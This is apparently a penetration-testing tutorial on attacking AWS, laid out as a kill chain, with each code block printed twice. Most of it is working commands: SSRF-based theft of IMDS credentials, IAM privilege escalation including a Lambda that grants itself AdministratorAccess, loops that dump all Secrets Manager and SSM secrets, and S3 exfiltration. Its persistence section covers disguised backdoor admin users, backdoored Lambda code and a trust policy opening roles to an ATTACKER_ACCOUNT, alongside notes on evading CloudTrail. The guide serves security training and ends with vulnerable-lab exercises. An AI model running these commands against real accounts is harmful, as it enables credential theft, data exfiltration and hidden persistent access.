Cloud Security A10 A01

AWS Pentesting

AWS environments are often compromised through misconfigured IAM permissions, exposed S3 buckets, and Server-Side Request Forgery (SSRF) attacks targeting the Instance Metadata Service (IMDS).

AWS Pentesting Kill Chain

flowchart LR R["🔍 Recon Account Enum S3 Discovery"] --> IA["🚪 Initial Access SSRF / IMDS Exposed Keys"] IA --> E["📋 Enumerate IAM / Roles Services"] E --> PE["⬆️ Priv Esc Role Chaining Policy Abuse"] PE --> LM["↔️ Lateral Move Cross-Account SSM / Lambda"] LM --> P["🔒 Persist Backdoor User Lambda Layer"] P --> EX["📤 Exfiltrate S3 Sync Secrets Dump"]

Initial Access & Enumeration

Identity & IAM Enumeration

iam-enum.sh
bash
# Check current identity
aws sts get-caller-identity

# Enumerate IAM users, roles, groups
aws iam list-users --query "Users[].{Name:UserName,Created:CreateDate}" --output table
aws iam list-roles --query "Roles[].{Name:RoleName,Arn:Arn}" --output table
aws iam list-groups

# Get detailed user policies (look for wildcards and admin access)
aws iam list-attached-user-policies --user-name target-user
aws iam list-user-policies --user-name target-user
aws iam get-user-policy --user-name target-user --policy-name <policy-name>

# Brute-force enumerate your own permissions (fast)
# enumerate-iam discovers allowed API calls without CloudTrail logging each attempt
python3 enumerate-iam.py --access-key AKIAXXX --secret-key XXXXX
# Check current identity
aws sts get-caller-identity

# Enumerate IAM users, roles, groups
aws iam list-users --query "Users[].{Name:UserName,Created:CreateDate}" --output table
aws iam list-roles --query "Roles[].{Name:RoleName,Arn:Arn}" --output table
aws iam list-groups

# Get detailed user policies (look for wildcards and admin access)
aws iam list-attached-user-policies --user-name target-user
aws iam list-user-policies --user-name target-user
aws iam get-user-policy --user-name target-user --policy-name <policy-name>

# Brute-force enumerate your own permissions (fast)
# enumerate-iam discovers allowed API calls without CloudTrail logging each attempt
python3 enumerate-iam.py --access-key AKIAXXX --secret-key XXXXX

S3 Bucket Enumeration

s3-enum.sh
bash
# List all buckets (authenticated)
aws s3 ls
aws s3 ls s3://bucket-name --recursive --human-readable

# Check for PUBLIC buckets (unauthenticated)
aws s3 ls s3://bucket-name --no-sign-request
curl -s https://bucket-name.s3.amazonaws.com/ | xmllint --format -

# Check bucket ACL and policy
aws s3api get-bucket-acl --bucket bucket-name
aws s3api get-bucket-policy --bucket bucket-name

# Check if bucket allows public uploads (critical finding)
echo "test" > /tmp/test.txt
aws s3 cp /tmp/test.txt s3://bucket-name/test-upload.txt --no-sign-request

# Mass scan for open buckets
s3scanner scan --bucket-file targets.txt
# List all buckets (authenticated)
aws s3 ls
aws s3 ls s3://bucket-name --recursive --human-readable

# Check for PUBLIC buckets (unauthenticated)
aws s3 ls s3://bucket-name --no-sign-request
curl -s https://bucket-name.s3.amazonaws.com/ | xmllint --format -

# Check bucket ACL and policy
aws s3api get-bucket-acl --bucket bucket-name
aws s3api get-bucket-policy --bucket bucket-name

# Check if bucket allows public uploads (critical finding)
echo "test" > /tmp/test.txt
aws s3 cp /tmp/test.txt s3://bucket-name/test-upload.txt --no-sign-request

# Mass scan for open buckets
s3scanner scan --bucket-file targets.txt

Service Enumeration

service-enum.sh
bash
# EC2 instances (look for public IPs, security groups, IAM roles)
aws ec2 describe-instances --query "Reservations[].Instances[].{ID:InstanceId,IP:PublicIpAddress,Role:IamInstanceProfile.Arn,State:State.Name}" --output table

# Security groups (look for 0.0.0.0/0 ingress)
aws ec2 describe-security-groups --query "SecurityGroups[?IpPermissions[?IpRanges[?CidrIp=='0.0.0.0/0']]].{Name:GroupName,ID:GroupId}" --output table

# Lambda functions (code and environment variables may contain secrets)
aws lambda list-functions --query "Functions[].{Name:FunctionName,Runtime:Runtime,Role:Role}" --output table
aws lambda get-function --function-name target-function

# Secrets Manager and SSM Parameter Store
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id secret-name
aws ssm describe-parameters
aws ssm get-parameter --name /app/database/password --with-decryption

# RDS instances (database endpoints)
aws rds describe-db-instances --query "DBInstances[].{ID:DBInstanceIdentifier,Engine:Engine,Endpoint:Endpoint.Address,Public:PubliclyAccessible}" --output table
# EC2 instances (look for public IPs, security groups, IAM roles)
aws ec2 describe-instances --query "Reservations[].Instances[].{ID:InstanceId,IP:PublicIpAddress,Role:IamInstanceProfile.Arn,State:State.Name}" --output table

# Security groups (look for 0.0.0.0/0 ingress)
aws ec2 describe-security-groups --query "SecurityGroups[?IpPermissions[?IpRanges[?CidrIp=='0.0.0.0/0']]].{Name:GroupName,ID:GroupId}" --output table

# Lambda functions (code and environment variables may contain secrets)
aws lambda list-functions --query "Functions[].{Name:FunctionName,Runtime:Runtime,Role:Role}" --output table
aws lambda get-function --function-name target-function

# Secrets Manager and SSM Parameter Store
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id secret-name
aws ssm describe-parameters
aws ssm get-parameter --name /app/database/password --with-decryption

# RDS instances (database endpoints)
aws rds describe-db-instances --query "DBInstances[].{ID:DBInstanceIdentifier,Engine:Engine,Endpoint:Endpoint.Address,Public:PubliclyAccessible}" --output table

Metadata Service Exploitation

Warning

SSRF → IMDS is the #1 Cloud Attack Vector. The Capital One breach (106M records, $190M settlement) exploited exactly this path: SSRF through a WAF → IMDSv1 → IAM credentials → S3 exfiltration.

SSRF to IMDS Attack Flow

flowchart LR A["Attacker sends SSRF payload"] --> B["App fetches 169.254.169.254"] B --> C["Metadata returns IAM credentials"] C --> D["Attacker uses creds externally"] D --> E["Enumerate & pivot across AWS services"] style A fill:#f87171,stroke:#000,color:#000 style C fill:#ec4899,stroke:#000,color:#000 style E fill:#4ade80,stroke:#000,color:#000
imds-exploitation.sh
bash
# === IMDSv1 (exploitable via SSRF — no token required) ===
# Basic instance metadata
curl -s http://169.254.169.254/latest/meta-data/
curl -s http://169.254.169.254/latest/meta-data/hostname
curl -s http://169.254.169.254/latest/meta-data/local-ipv4

# Get IAM role name, then credentials
ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE" | jq
# Returns: AccessKeyId, SecretAccessKey, Token (temporary STS credentials)

# Get user data (often contains bootstrap scripts with secrets)
curl -s http://169.254.169.254/latest/user-data

# === IMDSv2 (requires PUT to get token — blocks most SSRF) ===
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/

# === Use stolen credentials from attacker machine ===
export AWS_ACCESS_KEY_ID="ASIAXXX"
export AWS_SECRET_ACCESS_KEY="xxx"
export AWS_SESSION_TOKEN="xxx"
aws sts get-caller-identity  # Verify — should show the EC2 role
# === IMDSv1 (exploitable via SSRF — no token required) ===
# Basic instance metadata
curl -s http://169.254.169.254/latest/meta-data/
curl -s http://169.254.169.254/latest/meta-data/hostname
curl -s http://169.254.169.254/latest/meta-data/local-ipv4

# Get IAM role name, then credentials
ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE" | jq
# Returns: AccessKeyId, SecretAccessKey, Token (temporary STS credentials)

# Get user data (often contains bootstrap scripts with secrets)
curl -s http://169.254.169.254/latest/user-data

# === IMDSv2 (requires PUT to get token — blocks most SSRF) ===
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/

# === Use stolen credentials from attacker machine ===
export AWS_ACCESS_KEY_ID="ASIAXXX"
export AWS_SECRET_ACCESS_KEY="xxx"
export AWS_SESSION_TOKEN="xxx"
aws sts get-caller-identity  # Verify — should show the EC2 role

IAM Privilege Escalation

AWS IAM has over 20 known privilege escalation paths. The most common involve creating new access keys, assuming roles, or modifying policies. Pacu automates discovery of these paths.

Technique Required Permission Impact
Create access key for another user iam:CreateAccessKey Impersonate any user (including admins)
Attach admin policy to self iam:AttachUserPolicy Full admin — attach AdministratorAccess
Create new policy version iam:CreatePolicyVersion Modify existing policy to add wildcards
Assume role sts:AssumeRole Pivot to more privileged role (cross-account)
Pass role to Lambda iam:PassRole + lambda:CreateFunction Execute code as any role in the account
Update Lambda code lambda:UpdateFunctionCode Inject code into existing Lambda (uses its role)
privilege-escalation.sh
bash
# === Pacu — automated privilege escalation discovery ===
# Start Pacu and set stolen credentials
pacu
> set_keys
> run iam__enum_permissions  # Discover what you can do
> run iam__privesc_scan      # Find escalation paths
> run iam__backdoor_users_keys  # Create backdoor access keys

# === Manual: Create access key for admin user ===
aws iam create-access-key --user-name admin-user
# Now use those keys to become admin

# === Manual: Attach admin policy to your own user ===
aws iam attach-user-policy --user-name your-user --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# === Manual: Assume a cross-account role ===
aws sts assume-role --role-arn arn:aws:iam::123456789012:role/AdminRole --role-session-name pentest
# Use returned credentials to operate in target account

# === Lambda privilege escalation: pass role + create function ===
cat > /tmp/escalate.py << 'EOF'
import boto3, json
def handler(event, context):
    client = boto3.client('iam')
    client.attach_user_policy(
        UserName='your-user',
        PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
    )
    return {'statusCode': 200}
EOF
zip /tmp/escalate.zip /tmp/escalate.py
aws lambda create-function --function-name escalate --runtime python3.12 \
  --handler escalate.handler --zip-file fileb:///tmp/escalate.zip \
  --role arn:aws:iam::123456789012:role/HighPrivRole
aws lambda invoke --function-name escalate /tmp/out.txt
# === Pacu — automated privilege escalation discovery ===
# Start Pacu and set stolen credentials
pacu
> set_keys
> run iam__enum_permissions  # Discover what you can do
> run iam__privesc_scan      # Find escalation paths
> run iam__backdoor_users_keys  # Create backdoor access keys

# === Manual: Create access key for admin user ===
aws iam create-access-key --user-name admin-user
# Now use those keys to become admin

# === Manual: Attach admin policy to your own user ===
aws iam attach-user-policy --user-name your-user --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# === Manual: Assume a cross-account role ===
aws sts assume-role --role-arn arn:aws:iam::123456789012:role/AdminRole --role-session-name pentest
# Use returned credentials to operate in target account

# === Lambda privilege escalation: pass role + create function ===
cat > /tmp/escalate.py << 'EOF'
import boto3, json
def handler(event, context):
    client = boto3.client('iam')
    client.attach_user_policy(
        UserName='your-user',
        PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
    )
    return {'statusCode': 200}
EOF
zip /tmp/escalate.zip /tmp/escalate.py
aws lambda create-function --function-name escalate --runtime python3.12 \
  --handler escalate.handler --zip-file fileb:///tmp/escalate.zip \
  --role arn:aws:iam::123456789012:role/HighPrivRole
aws lambda invoke --function-name escalate /tmp/out.txt

Post-Exploitation & Persistence

post-exploitation.sh
bash
# === Data Exfiltration ===
# Sync entire S3 bucket to local disk
aws s3 sync s3://sensitive-bucket ./exfil --no-sign-request

# Dump all secrets from Secrets Manager
for secret in $(aws secretsmanager list-secrets --query "SecretList[].Name" --output text); do
  echo "=== $secret ==="
  aws secretsmanager get-secret-value --secret-id "$secret" --query "SecretString" --output text
done

# Dump SSM parameters (often contain database passwords, API keys)
for param in $(aws ssm describe-parameters --query "Parameters[].Name" --output text); do
  echo "=== $param ==="
  aws ssm get-parameter --name "$param" --with-decryption --query "Parameter.Value" --output text
done

# === Lambda Code Extraction (may contain hardcoded secrets) ===
for func in $(aws lambda list-functions --query "Functions[].FunctionName" --output text); do
  echo "[+] Downloading $func"
  URL=$(aws lambda get-function --function-name "$func" --query "Code.Location" --output text)
  curl -s -o "$func.zip" "$URL"
  unzip -o "$func.zip" -d "./$func/"
  grep -rn "password\|secret\|key\|token" "./$func/" 2>/dev/null
done
# === Data Exfiltration ===
# Sync entire S3 bucket to local disk
aws s3 sync s3://sensitive-bucket ./exfil --no-sign-request

# Dump all secrets from Secrets Manager
for secret in $(aws secretsmanager list-secrets --query "SecretList[].Name" --output text); do
  echo "=== $secret ==="
  aws secretsmanager get-secret-value --secret-id "$secret" --query "SecretString" --output text
done

# Dump SSM parameters (often contain database passwords, API keys)
for param in $(aws ssm describe-parameters --query "Parameters[].Name" --output text); do
  echo "=== $param ==="
  aws ssm get-parameter --name "$param" --with-decryption --query "Parameter.Value" --output text
done

# === Lambda Code Extraction (may contain hardcoded secrets) ===
for func in $(aws lambda list-functions --query "Functions[].FunctionName" --output text); do
  echo "[+] Downloading $func"
  URL=$(aws lambda get-function --function-name "$func" --query "Code.Location" --output text)
  curl -s -o "$func.zip" "$URL"
  unzip -o "$func.zip" -d "./$func/"
  grep -rn "password\|secret\|key\|token" "./$func/" 2>/dev/null
done
persistence.sh
bash
# === Persistence Techniques ===
# 1. Backdoor IAM user with hidden access key
aws iam create-access-key --user-name existing-service-user

# 2. Create a new IAM user (blends in with service accounts)
aws iam create-user --user-name svc-monitoring-agent
aws iam attach-user-policy --user-name svc-monitoring-agent --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam create-access-key --user-name svc-monitoring-agent

# 3. Backdoor Lambda function (inject code into existing function)
aws lambda get-function --function-name prod-api --query "Code.Location" --output text
# Download, modify, re-upload with backdoor
aws lambda update-function-code --function-name prod-api --zip-file fileb://backdoored.zip

# 4. Create cross-account role trust (persistent access from attacker account)
# Modify trust policy to allow attacker's AWS account to assume the role
aws iam update-assume-role-policy --role-name AdminRole --policy-document '{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Principal": {"AWS": "arn:aws:iam::ATTACKER_ACCOUNT:root"},
    "Action": "sts:AssumeRole"
  }]
}'

# === CloudTrail Evasion ===
# Check if CloudTrail is recording in current region
aws cloudtrail describe-trails --query "trailList[].{Name:Name,Region:HomeRegion,IsMultiRegion:IsMultiRegionTrail,Logging:IsLogging}"
# Some API calls (data events) are not logged by default (e.g., S3 GetObject, Lambda Invoke)
# === Persistence Techniques ===
# 1. Backdoor IAM user with hidden access key
aws iam create-access-key --user-name existing-service-user

# 2. Create a new IAM user (blends in with service accounts)
aws iam create-user --user-name svc-monitoring-agent
aws iam attach-user-policy --user-name svc-monitoring-agent --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam create-access-key --user-name svc-monitoring-agent

# 3. Backdoor Lambda function (inject code into existing function)
aws lambda get-function --function-name prod-api --query "Code.Location" --output text
# Download, modify, re-upload with backdoor
aws lambda update-function-code --function-name prod-api --zip-file fileb://backdoored.zip

# 4. Create cross-account role trust (persistent access from attacker account)
# Modify trust policy to allow attacker's AWS account to assume the role
aws iam update-assume-role-policy --role-name AdminRole --policy-document '{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Principal": {"AWS": "arn:aws:iam::ATTACKER_ACCOUNT:root"},
    "Action": "sts:AssumeRole"
  }]
}'

# === CloudTrail Evasion ===
# Check if CloudTrail is recording in current region
aws cloudtrail describe-trails --query "trailList[].{Name:Name,Region:HomeRegion,IsMultiRegion:IsMultiRegionTrail,Logging:IsLogging}"
# Some API calls (data events) are not logged by default (e.g., S3 GetObject, Lambda Invoke)

AWS Tools

Tool Category Best For
Pacu Exploitation Full AWS exploitation framework — priv esc, persistence, exfil
enumerate-iam Enumeration Brute-force IAM permission discovery
S3Scanner Scanning Open S3 bucket discovery and content dumping
CloudMapper Visualization AWS environment mapping and network diagrams
Prowler Auditing CIS benchmarks, security posture assessment
ScoutSuite Auditing Multi-cloud security auditing with HTML reports
WeirdAAL Enumeration AWS attack library — data exfil, recon, persistence
🎯

AWS Pentesting Labs

Hands-on practice with AWS attack techniques in intentionally vulnerable environments.

🔧
IAM Privilege Escalation — CloudGoat Custom Lab medium
Deploy CloudGoat (Rhino Security Labs) vulnerable AWS environmentStart with a low-privilege IAM user — enumerate permissions with enumerate-iamDiscover and exploit an iam:CreateAccessKey or iam:AttachUserPolicy escalation pathChain role assumptions to reach cross-account admin accessRun Pacu iam__privesc_scan to compare automated vs manual findingsClean up: tear down CloudGoat with terraform destroy
🔧
SSRF to IMDS Credential Theft Custom Lab hard
Deploy a web application on EC2 with IMDSv1 enabledIdentify an SSRF vulnerability in the applicationExploit SSRF to reach 169.254.169.254 and extract IAM role credentialsUse the stolen STS credentials to list S3 buckets and EC2 instancesEnable IMDSv2 and verify the SSRF attack is blockedImplement network-level mitigations (iptables rules blocking metadata from app user)
🔧
S3 Misconfiguration & Lambda Code Review Custom Lab medium
Use S3Scanner to discover public buckets in the lab environmentCheck bucket ACLs and policies for overpermissive accessDownload and review Lambda function code for hardcoded secretsExtract secrets from SSM Parameter Store and Secrets ManagerDocument all findings with CIS Benchmark referencesRun Prowler against the account and compare findings